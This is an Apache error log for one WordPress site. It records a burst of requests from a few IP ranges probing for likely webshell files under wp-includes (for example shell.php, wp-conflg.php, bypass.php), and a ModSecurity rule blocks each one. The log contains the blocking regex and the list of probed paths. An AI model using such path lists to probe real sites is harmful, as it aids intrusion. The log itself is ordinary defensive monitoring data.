[Fri Nov 21 05:49:01.741155 2025] [:error] [pid 13326:tid 13373] [client 185.251.19.202:57345] [client 185.251.19.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class-wp-taxonomy.editor.php"] [unique_id "aR-Mzdh942-HkDIkOWrp4gAAAE8"]
[Fri Nov 21 05:49:04.702340 2025] [:error] [pid 51434:tid 51440] [client 185.251.19.198:51831] [client 185.251.19.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "aR-M0PU96liplEDkw_Tz8gAAAQQ"]
[Fri Nov 21 05:49:13.651914 2025] [:error] [pid 13326:tid 13370] [client 185.251.19.193:36181] [client 185.251.19.193] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/interactivity-api/interactivity-api-xml.php"] [unique_id "aR-M2dh942-HkDIkOWrp7gAAAEw"]
[Fri Nov 21 05:49:16.590300 2025] [:error] [pid 13326:tid 13373] [client 185.251.19.176:51115] [client 185.251.19.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/colour.php"] [unique_id "aR-M3Nh942-HkDIkOWrqBwAAAE8"]
[Fri Nov 21 05:49:19.993010 2025] [:error] [pid 13327:tid 13397] [client 185.251.19.175:20413] [client 185.251.19.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-background-position-control-variable.php"] [unique_id "aR-M3_BXf-8B6mFkLeOfWQAAAIw"]
[Fri Nov 21 05:49:20.861271 2025] [:error] [pid 51434:tid 51438] [client 185.251.19.181:60763] [client 185.251.19.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/include.php"] [unique_id "aR-M4PU96liplEDkw_T0TAAAAQI"]
[Fri Nov 21 05:49:25.311237 2025] [:error] [pid 13326:tid 13369] [client 185.251.19.185:52679] [client 185.251.19.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/imgareaselect/wp-login.php"] [unique_id "aR-M5dh942-HkDIkOWrqGwAAAEs"]
[Fri Nov 21 05:49:33.701381 2025] [:error] [pid 51434:tid 51451] [client 185.251.19.168:25013] [client 185.251.19.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/l10n/class-wp-translations-interface.php"] [unique_id "aR-M7fU96liplEDkw_T0bAAAAQ8"]
[Fri Nov 21 05:49:34.655435 2025] [:error] [pid 13327:tid 13396] [client 185.251.19.175:30567] [client 185.251.19.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/about5.php"] [unique_id "aR-M7vBXf-8B6mFkLeOfYgAAAIs"]
[Fri Nov 21 05:49:43.675963 2025] [:error] [pid 51434:tid 51448] [client 185.251.19.198:31399] [client 185.251.19.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/db.php"] [unique_id "aR-M9_U96liplEDkw_T0hQAAAQw"]
[Fri Nov 21 05:49:48.182851 2025] [:error] [pid 13412:tid 13420] [client 185.251.19.198:59579] [client 185.251.19.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/dist/bypass.php"] [unique_id "aR-M_H3-knz3ZB6HogHBOwAAAMM"]
[Fri Nov 21 05:49:54.013857 2025] [:error] [pid 13327:tid 13386] [client 185.251.19.182:37209] [client 185.251.19.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "aR-NAvBXf-8B6mFkLeOfdAAAAIE"]
[Fri Nov 21 05:49:54.941982 2025] [:error] [pid 51434:tid 51436] [client 136.144.42.249:21901] [client 136.144.42.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.php"] [unique_id "aR-NAvU96liplEDkw_T0nwAAAQA"]
[Fri Nov 21 05:49:57.919493 2025] [:error] [pid 13327:tid 13409] [client 185.251.19.165:53959] [client 185.251.19.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/login.php"] [unique_id "aR-NBfBXf-8B6mFkLeOfegAAAJg"]
[Fri Nov 21 05:50:02.441301 2025] [:error] [pid 13326:tid 13377] [client 185.251.19.164:44921] [client 185.251.19.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/sitemaps/chosen.php"] [unique_id "aR-NCth942-HkDIkOWrqSAAAAFM"]
[Fri Nov 21 05:50:07.154589 2025] [:error] [pid 13327:tid 13390] [client 185.251.19.199:40525] [client 185.251.19.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "aR-ND_BXf-8B6mFkLeOfhgAAAIU"]
[Fri Nov 21 05:50:08.056353 2025] [:error] [pid 51434:tid 51439] [client 185.251.19.185:64787] [client 185.251.19.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/dist/about.php"] [unique_id "aR-NEPU96liplEDkw_T0swAAAQM"]
[Fri Nov 21 05:50:12.237688 2025] [:error] [pid 13327:tid 13396] [client 172.98.32.177:42785] [client 172.98.32.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/customize/about.php"] [unique_id "aR-NFPBXf-8B6mFkLeOfmAAAAIs"]
[Fri Nov 21 05:50:13.113543 2025] [:error] [pid 13326:tid 13377] [client 185.251.19.171:31805] [client 185.251.19.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/simi.php"] [unique_id "aR-NFdh942-HkDIkOWrqWgAAAFM"]
[Fri Nov 21 05:50:17.702308 2025] [:error] [pid 13412:tid 13424] [client 185.251.19.197:61517] [client 185.251.19.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "aR-NGX3-knz3ZB6HogHBZgAAAMc"]
[Fri Nov 21 05:50:19.793471 2025] [:error] [pid 13325:tid 13338] [client 185.251.19.196:51825] [client 185.251.19.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/sitemaps/abcd.php"] [unique_id "aR-NGyBUXj9tD75On3CmwgAAAAg"]
[Fri Nov 21 05:50:20.714249 2025] [:error] [pid 51434:tid 51455] [client 185.251.19.196:59933] [client 185.251.19.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "aR-NHPU96liplEDkw_T0zgAAARM"]
[Fri Nov 21 05:50:21.701426 2025] [:error] [pid 13327:tid 13406] [client 185.251.19.201:27787] [client 185.251.19.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-widget-search-interpreter.php"] [unique_id "aR-NHfBXf-8B6mFkLeOfnQAAAJU"]
[Fri Nov 21 05:50:27.730838 2025] [:error] [pid 51434:tid 51460] [client 185.251.19.200:30017] [client 185.251.19.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/block-template-utils-other.php"] [unique_id "aR-NI_U96liplEDkw_T02wAAARg"]
[Fri Nov 21 05:50:32.659108 2025] [:error] [pid 13412:tid 13437] [client 136.144.42.251:21997] [client 136.144.42.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/lib/widget-group.php"] [unique_id "aR-NKH3-knz3ZB6HogHBfQAAANQ"]
[Fri Nov 21 05:50:35.630458 2025] [:error] [pid 13326:tid 13362] [client 185.251.19.191:55499] [client 185.251.19.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "aR-NK9h942-HkDIkOWrqaAAAAEQ"]
[Fri Nov 21 05:50:36.508433 2025] [proxy_fcgi:error] [pid 13325:tid 13350] [client 185.251.19.168:24107] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_locale() in /home/rcacivils/public_html/wp-admin/includes/admin.php:16\nStack trace:\n#0 {main}\n  thrown in /home/rcacivils/public_html/wp-admin/includes/admin.php on line 16'
[Fri Nov 21 05:50:37.512581 2025] [:error] [pid 13326:tid 13382] [client 185.251.19.197:44725] [client 185.251.19.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aR-NLdh942-HkDIkOWrqagAAAFg"]
[Fri Nov 21 05:50:50.187689 2025] [:error] [pid 13325:tid 13352] [client 136.144.42.245:64895] [client 136.144.42.245] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/plugin.php"] [unique_id "aR-NOiBUXj9tD75On3Cm1gAAABY"]
[Fri Nov 21 05:50:51.072529 2025] [:error] [pid 13327:tid 13408] [client 136.144.42.244:44499] [client 136.144.42.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class-wp-scripts-query.php"] [unique_id "aR-NO_BXf-8B6mFkLeOfuQAAAJc"]
[Fri Nov 21 05:50:55.554133 2025] [:error] [pid 51434:tid 51440] [client 185.251.19.192:23875] [client 185.251.19.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/module.audio-license.php"] [unique_id "aR-NP_U96liplEDkw_T0-AAAAQQ"]
[Fri Nov 21 05:51:02.919412 2025] [:error] [pid 13325:tid 13330] [client 185.251.19.189:53931] [client 185.251.19.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class-wp-error-module.php"] [unique_id "aR-NRiBUXj9tD75On3Cm5AAAAAA"]
[Fri Nov 21 05:51:07.391662 2025] [:error] [pid 13325:tid 13331] [client 185.251.19.196:58541] [client 185.251.19.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/litespeed.php"] [unique_id "aR-NSyBUXj9tD75On3Cm6gAAAAE"]
[Fri Nov 21 05:51:11.034816 2025] [:error] [pid 13326:tid 13379] [client 185.251.19.169:43939] [client 185.251.19.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "aR-NT9h942-HkDIkOWrqfQAAAFU"]
[Fri Nov 21 05:51:13.990953 2025] [:error] [pid 13325:tid 13334] [client 185.251.19.180:26023] [client 185.251.19.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/block-bindings/imagess.php"] [unique_id "aR-NUSBUXj9tD75On3Cm7AAAAAQ"]
[Fri Nov 21 05:51:16.888263 2025] [:error] [pid 13412:tid 13436] [client 185.251.19.173:34023] [client 185.251.19.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/default-filters-edit.php"] [unique_id "aR-NVH3-knz3ZB6HogHBqwAAANM"]
[Fri Nov 21 05:51:24.642522 2025] [:error] [pid 13325:tid 13340] [client 185.251.19.189:63145] [client 185.251.19.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aR-NXCBUXj9tD75On3Cm9wAAAAo"]
[Fri Nov 21 05:51:30.262445 2025] [:error] [pid 51434:tid 51440] [client 136.144.42.246:57277] [client 136.144.42.246] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/theme.php"] [unique_id "aR-NYvU96liplEDkw_T1JwAAAQQ"]
[Fri Nov 21 05:51:31.192199 2025] [proxy_fcgi:error] [pid 13326:tid 13359] [client 185.251.19.191:64559] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 05:51:31.626914 2025] [:error] [pid 13326:tid 13364] [client 185.251.19.191:64559] [client 185.251.19.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/shell.php"] [unique_id "aR-NY9h942-HkDIkOWrqiwAAAEY"]
[Fri Nov 21 05:51:32.594292 2025] [:error] [pid 13327:tid 13390] [client 185.251.19.194:25323] [client 185.251.19.194] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-selective-refresh-library.php"] [unique_id "aR-NZPBXf-8B6mFkLeOfygAAAIU"]
[Fri Nov 21 05:51:38.798189 2025] [:error] [pid 13412:tid 13418] [client 172.98.32.178:24821] [client 172.98.32.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Requests/library/wp-login.php"] [unique_id "aR-Nan3-knz3ZB6HogHBxAAAAME"]
[Fri Nov 21 05:51:39.673797 2025] [:error] [pid 13412:tid 13420] [client 185.251.19.173:38571] [client 185.251.19.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/interactivity-api/about.php"] [unique_id "aR-Na33-knz3ZB6HogHByAAAAMM"]
[Fri Nov 21 05:51:49.748405 2025] [:error] [pid 13326:tid 13361] [client 185.251.19.200:52091] [client 185.251.19.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/wp-2019.php"] [unique_id "aR-Nddh942-HkDIkOWrqoAAAAEM"]
[Fri Nov 21 05:51:50.635947 2025] [:error] [pid 13412:tid 13424] [client 136.144.42.245:30617] [client 136.144.42.245] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/info.php"] [unique_id "aR-Ndn3-knz3ZB6HogHB0wAAAMc"]
[Fri Nov 21 05:51:53.459632 2025] [:error] [pid 13325:tid 13342] [client 185.251.19.194:50553] [client 185.251.19.194] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/log.php"] [unique_id "aR-NeSBUXj9tD75On3CnFwAAAAw"]
[Fri Nov 21 05:51:54.373859 2025] [:error] [pid 51434:tid 51437] [client 185.251.19.185:63241] [client 185.251.19.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime-num.php"] [unique_id "aR-NevU96liplEDkw_T1WAAAAQE"]
[Fri Nov 21 05:51:55.272097 2025] [:error] [pid 13327:tid 13391] [client 185.251.19.186:43871] [client 185.251.19.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/script-loader-react-refresh-entry.min-object.php"] [unique_id "aR-Ne_BXf-8B6mFkLeOf3gAAAIY"]
[Fri Nov 21 05:51:56.179196 2025] [:error] [pid 51434:tid 51459] [client 185.251.19.177:65275] [client 185.251.19.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/aw.php"] [unique_id "aR-NfPU96liplEDkw_T1XAAAARc"]
[Fri Nov 21 05:52:03.800187 2025] [:error] [pid 13326:tid 13382] [client 185.251.19.202:33917] [client 185.251.19.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/IXR/db.php"] [unique_id "aR-Ng9h942-HkDIkOWrqwAAAAFg"]
[Fri Nov 21 05:52:04.754422 2025] [:error] [pid 51434:tid 51447] [client 136.144.42.244:35993] [client 136.144.42.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/install.php"] [unique_id "aR-NhPU96liplEDkw_T1ZQAAAQs"]
[Fri Nov 21 05:52:08.825072 2025] [:error] [pid 51434:tid 51438] [client 185.251.19.166:60543] [client 185.251.19.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/dist/install.php"] [unique_id "aR-NiPU96liplEDkw_T1bQAAAQI"]
